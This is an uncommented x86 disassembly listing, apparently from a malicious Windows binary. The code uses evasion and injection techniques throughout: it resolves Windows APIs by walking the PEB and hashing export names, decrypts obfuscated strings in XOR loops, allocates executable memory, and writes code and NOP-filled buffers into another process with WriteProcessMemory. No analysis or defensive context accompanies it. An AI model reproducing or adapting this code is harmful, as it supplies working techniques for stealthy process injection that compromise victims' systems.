psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xa0]
xorps xmm2, xmm0
movd dword [ebp + edx - 0xa0], xmm2
add edx, 8
cmp edx, 0x28
jl 0x4327d0
mov dword [ebp - 0x30], edx
cmp edx, 0x2f
jge 0x4328f1
nop dword [eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xa4], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x2f
jl 0x4328c0
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432910
sub ecx, edx
lea eax, [ebp - 0xa4]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 4
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x432973
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432969
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4329e7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4329e7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0x53aac5f9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4329dd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4329c0
cmp esi, 0x4e2c563
je 0x4329eb
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4329a5
mov eax, dword [eax]
jmp 0x432980
mov esi, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x48]
push dword [ebp - 0x38]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x432a87
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x432a87
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0xee633909
mov cl, byte [edx]
inc edx
test cl, cl
je 0x432a7d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432a60
cmp esi, 0xea82289
je 0x432a8b
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432a46
mov eax, dword [eax]
jmp 0x432a21
mov esi, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push dword [ebp - 0x38]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
jmp 0x433279
push 0x40
mov edi, fcn.004312c0
push 0x3000
sub edi, 0x431190
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push 0x431190
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x30]
add esp, 0xc
add eax, 0x18
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push eax
push dword [ebp - 0x38]
call edi
test eax, eax
jne 0x432e3f
movups xmm0, xmmword [0x4b0b08]
mov eax, dword [0x4b0b30]
xor edx, edx
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x7c], eax
movups xmm0, xmmword [0x4b0b18]
mov ax, word [0x4b0b34]
mov word [ebp - 0x78], ax
mov al, byte [0x4b0b36]
movups xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x76], al
movq xmm0, qword [0x4b0b28]
movq qword [ebp - 0x84], xmm0
mov dword [ebp - 0x30], edx
jl 0x432c70
movaps xmm0, xmmword [0x4b0e50]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov ecx, dword [ebp - 0x70]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xa4]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0xa4], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xa0]
xorps xmm2, xmm0
movd dword [ebp + edx - 0xa0], xmm2
add edx, 8
cmp edx, 0x28
jl 0x432b80
mov dword [ebp - 0x30], edx
cmp edx, 0x2f
jge 0x432ca1
nop dword [eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xa4], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x2f
jl 0x432c70
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432cc0
sub ecx, edx
lea eax, [ebp - 0xa4]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 5
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x432d23
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432d19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433095
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x432d97
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x432d97
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0xb6458ba4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x432d8d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432d70
cmp esi, 0xf8651c28
je 0x432d9b
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432d55
mov eax, dword [eax]
jmp 0x432d30
mov esi, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x48]
push dword [ebp - 0x38]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x432e3b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x432e3b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0x93d2fa00
mov cl, byte [edx]
inc edx
test cl, cl
je 0x432e31
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x432e10
cmp esi, 0x3413f9ca
je 0x432a8b
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x432df6
mov eax, dword [eax]
jmp 0x432dd1
push 0x40
push 0x3000
push 0x40
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
mov esi, eax
push 0x90
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x40
push esi
push dword [ebp - 0x48]
mov esi, dword [ebp - 0x38]
push esi
call edi
test eax, eax
jne 0x43325f
movups xmm0, xmmword [0x4b09f4]
mov eax, dword [0x4b0a2c]
xor edx, edx
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0x78], eax
movups xmm0, xmmword [0x4b0a04]
mov al, byte [0x4b0a30]
mov byte [ebp - 0x74], al
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x30], edx
movups xmm0, xmmword [0x4b0a14]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [0x4b0a24]
movq qword [ebp - 0x80], xmm0
jl 0x432ff0
movaps xmm0, xmmword [0x4b0e50]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x70], xmm0
mov ecx, dword [ebp - 0x70]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xb0]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0xb0], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0xac]
xorps xmm2, xmm0
movd dword [ebp + edx - 0xac], xmm2
add edx, 8
cmp edx, 0x38
jl 0x432f00
mov dword [ebp - 0x30], edx
cmp edx, 0x3d
jge 0x433021
nop dword [eax]
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x30]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xb0], cl
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x3d
jl 0x432ff0
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0xb0]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433040
sub ecx, edx
lea eax, [ebp - 0xb0]
push ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.0040e0d0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 6
call fcn.00430690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x4330a5
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43309b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43309b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x433117
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x433117
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0x813583e2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43310d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4330f0
cmp esi, 0x9ce979a
je 0x43311b
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4330d6
mov eax, dword [eax]
jmp 0x4330b1
mov esi, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x48]
push dword [ebp - 0x38]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4331b7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4331b7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x44], ecx
dec edi
mov esi, 0x86dc02f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4331ad
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x433190
cmp esi, 0xcf199b50
je 0x4331bb
mov ecx, dword [ebp - 0x44]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x433176
mov eax, dword [eax]
jmp 0x433151
mov esi, dword [ebp - 0x40]
mov edx, dword [ebp - 0x34]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push 0x4b8488
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x34], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x40], ecx
cmp ecx, edx
je 0x43325b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43325b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x44], ecx
mov esi, 0xda6b9cd1
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x433251
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x433230
cmp esi, 0x8053a831
je 0x432a8b
mov ecx, dword [ebp - 0x44]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x433215
mov eax, dword [eax]
jmp 0x4331f0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0xb4]
lea eax, [ecx + 0x18]
push eax
push ecx
mov ecx, esi
call fcn.004312d0
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret